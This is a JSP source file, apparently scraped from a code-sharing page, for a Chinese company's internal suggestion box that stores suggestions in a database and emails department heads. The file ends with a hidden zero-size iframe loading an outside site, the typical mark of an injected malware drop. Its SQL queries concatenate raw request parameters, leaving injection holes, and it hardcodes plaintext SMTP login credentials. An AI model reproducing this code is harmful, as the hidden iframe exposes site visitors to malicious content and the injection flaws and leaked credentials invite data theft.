?? suggestionbox.jsp
字號:
<%@ page contentType="text/html; charset=gb2312" language="java"%>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.text.*"%>
<%@ page import="javax.mail.*"%>
<%@ page import="javax.mail.internet.*"%>
<%@ page import="cn.edu.buaa.nlsde.db.*"%>
<%@ page import="cn.edu.buaa.nlsde.auth.PopupAuthenticator"%>
<%
System.out.println("1");
request.setCharacterEncoding("GB2312");
String TheMessage = "";
boolean ReviewLabel = false;
String EmailMessage = "";
String temp = "";
String SqlReview = "";
ResultSet RSReviewSuggestion = null;
Calendar cal = Calendar.getInstance();
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String CurrentTime = format.format(cal.getTime());
//判斷用戶是否登錄
if (session.getAttribute("ID") == null) {
response.sendRedirect("../login.jsp");
}
//連接系統數據庫
//Connection conn = (new DBConnect()).getODBCConn("EIMS");
Connection conn = (new DBConnect()).getConnPoolConn("EIMS");
Statement stmt = conn.createStatement();
//如果用戶要查看自己提出的意見的處理結果
System.out.println("2");
if (request.getParameter("Review") != null) {
SqlReview = "select * from SuggestionRecords where SenderName='"
+ session.getAttribute("Name")
+ "' and Status='已處理' order by WhenSent DESC";
RSReviewSuggestion = stmt.executeQuery(SqlReview);
ReviewLabel = true;
TheMessage = "您所提交的意見目前已經處理的結果如下";
}
//如果用戶提交新意見建議
else if (request.getParameter("OK") != null) {
//將新意見建議插入數據庫
String SqlString = "Insert into SuggestionRecords (SenderName, ToDepartment, SuggestionType, SuggestionText, WhenSent, Status) values ('"
+ session.getAttribute("Name")
+ "','"
+ request.getParameter("ToDepartment")
+ "','"
+ request.getParameter("SuggestionType")
+ "','"
+ request.getParameter("SuggestionText")
+ "','"
+ CurrentTime + "','未處理')";
stmt.executeUpdate(SqlString);
//查出剛提交的意見建議的內容
ResultSet RSSuggestionID = stmt
.executeQuery("select SuggestionID from SuggestionRecords where WhenSent = '"
+ CurrentTime + "'");
//構造電子郵件的內容
EmailMessage = "意見建議來自: " + session.getAttribute("Name")
+ "\n\r";
EmailMessage = EmailMessage + "意見類型: "
+ request.getParameter("SuggestionType") + "\n\r";
EmailMessage = EmailMessage + "意見內容: "
+ request.getParameter("SuggestionText") + "\n\r";
EmailMessage = EmailMessage + "想要處理這條意見建議,請點擊下面的鏈接:\n\r";
EmailMessage = EmailMessage
+ "http://192.168.2.6:8080/EIMS/messageboard/analysis.jsp?SuggestionID=";
while (RSSuggestionID.next()) {
EmailMessage += RSSuggestionID.getInt("SuggestionID");
}
//查出要意見建議發往對象的電子郵件地址
ResultSet RSEmails = stmt
.executeQuery("Select EmailAddress from PSLogins where Department='"
+ request.getParameter("ToDepartment")
+ "' and Position='主管'");
//向所有對象發送電子郵件
System.out.println("3");
while (RSEmails.next()) {
try {
Properties props = new Properties(); //創建屬性對象
Session sendMailSession; //創建對話對象
Store store;
Transport transport; //創建傳輸對象
PopupAuthenticator popAuthenticator = new PopupAuthenticator();
PasswordAuthentication pop = popAuthenticator
.performCheck("zhaoruyi", "euyi8401");
sendMailSession = Session.getInstance(props,
popAuthenticator);
//對話目標
props.put("mail.smtp.host", "smtp.nlsde.buaa.edu.cn");
//設置對話對象
props.put("mail.smtp.auth", "true"); //設置smtp身份認證
Message newMessage = new MimeMessage(sendMailSession);
//創建信息對象
//newMessage.setFrom(
//new InternetAddress(
//(String)session.getAttribute("EmailAddress")));
newMessage
.setFrom(new InternetAddress("eims@eims.com"));
//發送者
newMessage.setRecipient(Message.RecipientType.TO,
new InternetAddress(RSEmails
.getString("EmailAddress")));
//接受者
newMessage.setSubject("新的意見箱消息!");
//郵件主題
newMessage.setSentDate(new java.util.Date()); //發送日期
newMessage.setText(EmailMessage); //郵件內容
transport = sendMailSession.getTransport("smtp");
//實例化傳輸對象
Transport.send(newMessage); //發送郵件
TheMessage = "您的意見建議已提交成功,您可以填寫新意見建議";
} catch (MessagingException m) {
System.err.println(m);
TheMessage = "您的意見建議已提交成功,但通知郵件未能正常發送!";
}
}
} else {
TheMessage = "請在下面填寫您的建議意見";
}
%>
<HTML>
<HEAD>
<TITLE>公司內部意見箱-提交意見建議</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<body>
<table width=800 border=0 bgcolor=#164DA8 cellspacing=1 cellpadding=2
align=center>
<tr bgcolor=white>
<td valign=middle>
<img src="../image/jsplogo.jpg" width=796 height=100>
</td>
</tr>
</table>
<table width="800" border="0" bordercolor="#164DA8" align="center"
cellpadding="0" cellspacing="0">
<tr>
<td height="13">
<img src=".././image/banner2.jpg" width="800" height="12">
</td>
</tr>
</table>
<table width=800 border=0 bgcolor=#164DA8 cellspacing=1 cellpadding=2
align=center>
<tr>
<td colspan=3>
<div align="center">
<font color=white>公司辦公信息管理系統->內部信息交流系統->意見建議箱 [當前用戶-<%=session.getAttribute("Name")%>]
</font>
</div>
</td>
</tr>
<tr bgcolor=white>
<td>
<a href=".././html/home.jsp"><font color="#104DAD">返回系統主頁</font>
</a>
</td>
<td align=center>
<font color="#104DAD"><%=TheMessage%>
</FONT>
</td>
<td align=right>
<a href="communication.jsp"><font color="#104DAD">返回上一級網頁</font>
</a>
</td>
</tr>
</table>
<table width="800" border="0" bordercolor="#164DA8" align="center"
cellpadding="0" cellspacing="0">
<tr>
<td height="10" colspan="4" valign="top" bgcolor="#FFFFFF">
<table width="100%" border="0" height="13" cellspacing="0"
cellpadding="0" mm_noconvert="TRUE">
<tr>
<td height="13">
<img src=".././image/banner2.jpg" width="800" height="12">
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
<TABLE CELLPADDING=1 CELLSPACING=2 BORDER=1 bordercolor="#164DA8"
WIDTH=800 align=center>
<TR VALIGN="middle" ALIGN="center">
<TD WIDTH=35% bgcolor=#B5C7EF>
<img src="../image/messageboard1.jpg">
</td>
<td>
<FORM ACTION="suggestionbox.jsp" METHOD=POST>
<table width=100% border=1>
<tr height=30>
<td>
請選擇您要提意見的部門
</td>
<td>
<SELECT NAME="ToDepartment">
<%
ResultSet RSDepartments = stmt
.executeQuery("select * from Departments order by DepartmentName");
while (RSDepartments.next()) {
temp = RSDepartments.getString("DepartmentName");
%>
<OPTION VALUE="<%=temp%>">
<%=temp%>
</OPTION>
<%
}
%>
</select>
</td>
</tr>
<tr>
<td>
請選擇您要提意見的類型
</td>
<td>
<SELECT NAME="SuggestionType">
<%
ResultSet RSTypes = stmt
.executeQuery("select * from SuggestionTypes order by SuggestionType");
while (RSTypes.next()) {
temp = RSTypes.getString("SuggestionType");
%>
<OPTION VALUE="<%=temp%>">
<%=temp%>
</OPTION>
<%
}
%>
</SELECT>
</td>
</tr>
<tr>
<td>
請選擇您要提意見的內容
</td>
<td>
<TEXTAREA NAME="SuggestionText" ROWS=6 COLS=40></TEXTAREA>
</td>
</tr>
<tr>
<td colspan=2 align=center>
<input type=submit name=OK value="提交我的意見"
style="border: 1px solid #3466BB; background-color: #B6CAEB; color: #3466BB">
<input type=reset name=reset value="重設我的意見"
style="border: 1px solid #3466BB; background-color: #B6CAEB; color: #3466BB">
<input type=submit name=Review value="查看我的意見"
style="border: 1px solid #3466BB; background-color: #B6CAEB; color: #3466BB">
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<%
if (ReviewLabel == true) {
%>
<table WIDTH=800 border=0 bgcolor=#164DA8 cellspacing=1 cellpadding=2
align=center>
<tr>
<td colspan=6 height=1>
<font color=white>您提交的意見建議目前處理結果如下</font>
</td>
</tr>
<tr bgcolor=white>
<td align=left>
意見號
</td>
<td align=left>
發往部門
</td>
<td align=left>
意見類型
</td>
<td align=left>
意見內容
</td>
<td align=left>
回復意見
</td>
<td align=left>
目前狀態
</td>
<td align=left>
發送日期
</td>
</tr>
<%
RSReviewSuggestion = stmt.executeQuery(SqlReview);
while (RSReviewSuggestion.next()) {
%>
<TR bgcolor=white VALIGN="top" ALIGN="left">
<TD>
<font face=arial><%=RSReviewSuggestion.getInt(1)%>
</font>
</TD>
<TD>
<font face=arial><%=RSReviewSuggestion.getString(3)%>
</font>
</TD>
<TD>
<font face=arial><%=RSReviewSuggestion.getString(4)%>
</font>
</TD>
<TD>
<font face=arial><%=RSReviewSuggestion.getString(5)%>
</font>
</TD>
<TD>
<font face=arial><%=RSReviewSuggestion.getString(6)%>
</font>
</TD>
<TD>
<font face=arial><%=RSReviewSuggestion.getString(7)%>
</font>
</TD>
<TD>
<font face=arial><%=RSReviewSuggestion.getString(8).substring(0, 10)%>
</font>
</TD>
</TR>
<%
}
%>
</table>
<%
}
%>
</body>
</html>
<%
DBConnectionManager.getInstance().freeConnection("eims", conn);
%>
<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -